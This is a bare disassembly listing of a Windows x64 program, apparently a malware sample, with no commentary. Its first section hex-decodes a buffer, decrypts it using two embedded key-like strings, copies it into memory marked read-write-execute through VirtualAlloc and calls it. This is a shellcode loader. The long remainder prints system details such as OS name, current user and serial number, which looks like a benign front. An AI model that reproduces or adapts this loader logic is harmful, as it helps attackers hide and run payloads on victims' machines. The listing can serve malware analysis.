call fcn.140005f10
nop
nop dword [rax + rax]
inc r15
cmp byte [rbx + r15], 0
jne 0x140012fa0
mov eax, r15d
cdq
sub eax, edx
sar eax, 1
movsxd rsi, eax
mov edx, 1
mov rcx, rsi
call fcn.140028c7c
mov r15, rax
mov rdi, r14
test rsi, rsi
je 0x140013028
test rax, rax
je 0x140013002
mov byte [rsp + 0x20], 0
lea r8, [rsp + 0x20]
lea rdx, str._2hhx
mov rcx, rbx
call fcn.14000f710
movzx eax, byte [rsp + 0x20]
mov byte [rdi + r15], al
add rbx, 2
inc rdi
cmp rdi, rsi
jb 0x140012fd2
jmp 0x140013028
mov rdi, rsi
mov byte [rsp + 0x20], 0
lea r8, [rsp + 0x20]
lea rdx, str._2hhx
mov rcx, rbx
call fcn.14000f710
add rbx, 2
sub rdi, 1
jne 0x140013005
mov r8, rsi
mov rdx, r15
lea rcx, [rbp + 0x80]
call fcn.140010350
nop
lea r8, [rbp + 0x80]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x60]
call fcn.140014be0
nop
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.1400101a0
nop
lea rdx, str.2Btlc6UowIPslOY6eTwVIQcHNqc7ejV03khvHQT5SGE
lea rcx, [rbp + 0x40]
call fcn.140005f10
nop
lea rdx, str.OYIPhBi7ei06_c7kxD6Pg
lea rcx, [rbp]
call fcn.140005f10
nop
lea rdx, [rbp + 0x40]
lea rcx, [rbp - 0x20]
call fcn.1400105b0
nop
lea rdx, [rbp]
lea rcx, [rbp - 0x80]
call fcn.1400105b0
nop
lea r9, [rbp - 0x80]
lea r8, [rbp - 0x20]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x20]
call fcn.14000fc80
nop
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x40]
call fcn.1400105b0
nop
mov rdx, qword [rbp - 0x38]
sub rdx, qword [rbp - 0x40]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8, qword [rbp - 0x38]
mov rdx, qword [rbp - 0x40]
sub r8, rdx
mov rcx, rax
call fcn.140024430
test rbx, rbx
je 0x140013100
call rbx
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
lea rcx, [rbp - 0x40]
call fcn.140014060
nop
lea rcx, [rbp + 0x20]
call fcn.140005cf0
nop
lea rcx, [rbp - 0x80]
call fcn.140014060
nop
lea rcx, [rbp - 0x20]
call fcn.140014060
nop
lea rcx, [rbp]
call fcn.140005cf0
nop
lea rcx, [rbp + 0x40]
call fcn.140005cf0
nop
lea rcx, [rsp + 0x40]
call fcn.140014060
nop
lea rcx, [rbp + 0x60]
call fcn.140005cf0
nop
lea rcx, [rbp + 0x80]
call fcn.140005cf0
nop
lea rcx, [rbp - 0x60]
call fcn.140005cf0
jmp 0x140013c5e
mov r14d, 1
jmp 0x140013c5e
test rdi, rdi
je 0x140013189
mov rcx, rdi
call fcn.140022508
mov rbx, rax
jmp 0x14001318c
mov rbx, r14
mov qword [rbp], rbx
mov qword [rbp + 8], rbx
lea rax, [rdi + rbx]
mov qword [rbp + 0x10], rax
lea rax, [rbp]
mov qword [rsp + 0x78], rax
mov rsi, qword [r15 + 8]
mov rdi, qword [r15]
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], rbx
lea rax, [rbp]
mov qword [rbp - 0x70], rax
cmp rdi, rsi
je 0x1400131e3
mov rdx, rdi
mov rcx, rbx
call fcn.14001c120
add rbx, 0x1c8
mov qword [rbp - 0x78], rbx
add rdi, 0x1c8
cmp rdi, rsi
jne 0x1400131c1
mov qword [rbp + 8], rbx
mov rsi, qword [rsp + 0x28]
lea rdx, str.This_computer_has
lea rcx, [0x1400702f0]
call fcn.140014830
mov edx, dword [r15 + 0x18]
mov rcx, rax
call fcn.140007b80
mov rcx, rax
lea rdx, str._OS_s__installed
call fcn.140014830
mov rcx, rax
call fcn.140014790
mov rbx, qword [rbp]
cmp rbx, qword [rbp + 8]
je 0x140013bb9
lea rdx, str.Information_for_OS_
lea rcx, [0x1400702f0]
call fcn.140014830
mov edx, dword [rbx + 0x1c0]
inc edx
mov rcx, rax
call fcn.140007b80
mov rcx, rax
lea rdx, [0x140063b2c]
call fcn.140014830
mov rcx, rax
call fcn.140014790
lea rdx, str.OS_Name_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
mov rdx, rbx
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1400132eb
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400132e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013dd9
call fcn.140022500
lea rdx, str.OS_Manufacturer_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbx + 0x20]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14001336d
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013368
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013ddf
call fcn.140022500
lea rdx, str.OS_Caption_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbx + 0x60]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1400133ef
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400133ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013de5
call fcn.140022500
lea rdx, str.OS_Version_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbx + 0x80]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140013474
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001346f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013deb
call fcn.140022500
lea rdx, str.Current_User_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbx + 0xa0]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1400134f9
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400134f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013df1
call fcn.140022500
lea rdx, str.Install_Date_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbx + 0xc0]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14001357e
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013579
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013df7
call fcn.140022500
lea rdx, str.Build_Number_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbx + 0xe0]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140013603
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400135fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013dfd
call fcn.140022500
lea rdx, str.Last_Boot_Up_Time_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbx + 0x100]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140013688
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013683
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013e03
call fcn.140022500
lea rdx, str.Boot_Device_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbx + 0x120]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14001370d
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013708
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013e09
call fcn.140022500
lea rdx, str.Total_Virtual_Memory_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbx + 0x160]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140013792
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001378d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013e0f
call fcn.140022500
lea rdx, str.Total_Visible_Memory_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbx + 0x180]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140013817
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013812
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013e15
call fcn.140022500
lea rdx, str.Total_Swap_Size_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbx + 0x1a0]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14001389c
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013897
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013e1b
call fcn.140022500
lea rdx, str.Serial_Number_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbx + 0x140]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140013921
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001391c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013e21
call fcn.140022500
lea rdx, str.Free_Physical_Memory_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rbx
call fcn.1400194d0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140013952
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1400139a1
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001399c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013e27
call fcn.140022500
lea rdx, str.Free_Virtual_Memory_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rbx
call fcn.140019ce0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x1400139d2
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140013a21
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013a1c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013e2d
call fcn.140022500
lea rdx, str.Free_Paging_File_Space_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rbx
call fcn.14001a4f0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140013a52
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140013aa1
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013a9c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013e33
call fcn.140022500
lea rdx, str.Used_Paging_File_Space_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rbx
call fcn.14001ad00
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140013ad2
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140013b21
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013b1c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013e39
call fcn.140022500
lea rdx, str.Current_Date_Time_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rdi, rax
lea rdx, [rbp - 0x60]
mov rcx, rbx
call fcn.14001b510
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140013b52
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140013ba1
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013b9c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013cad
call fcn.140022500
lea rcx, [0x1400702f0]
call fcn.140014790
add rbx, 0x1c8
jmp 0x140013226
lea rcx, [rbp]
call fcn.1400143b0
nop
mov rcx, r15
call fcn.1400143b0
mov edx, 0x20
mov rcx, r15
call fcn.140022500
nop
lea rcx, [rbp + 0x20]
call fcn.14000ead0
nop
mov rcx, r13
call fcn.14000ead0
mov edx, 0x20
mov rcx, r13
call fcn.140022500
nop
lea rcx, [rsp + 0x40]
call fcn.140014470
nop
mov rcx, r12
call fcn.140014470
mov edx, 0x20
mov rcx, r12
call fcn.140022500
nop
lea rcx, [rbp - 0x20]
call fcn.140014530
nop
mov rcx, rsi
call fcn.140014530
mov edx, 0x20
mov rcx, rsi
call fcn.140022500
nop
lea rcx, [rbp - 0x40]
call fcn.14000b3e0
nop
mov rcx, qword [rsp + 0x30]
call fcn.14000b3e0
mov rcx, qword [rsp + 0x30]
mov edx, 0x20
call fcn.140022500
nop
lea r9, [fcn.140005cf0]
mov edx, 0x20
lea r8d, [rdx - 0x1a]
lea rcx, [rbp + 0xa0]
call fcn.140022544
mov eax, r14d
mov rcx, qword [rbp + 0x160]
xor rcx, rsp
call fcn.1400224e0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14002e018
nop
call fcn.14000b6c0
nop
call fcn.14002e018
nop
call fcn.14002e018
nop
call fcn.14002e018
nop
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
nop
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
nop
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
nop
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
nop
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
nop
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
nop
call fcn.140002ac0
int3
call fcn.14002e018
nop
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3
call fcn.14002e018
int3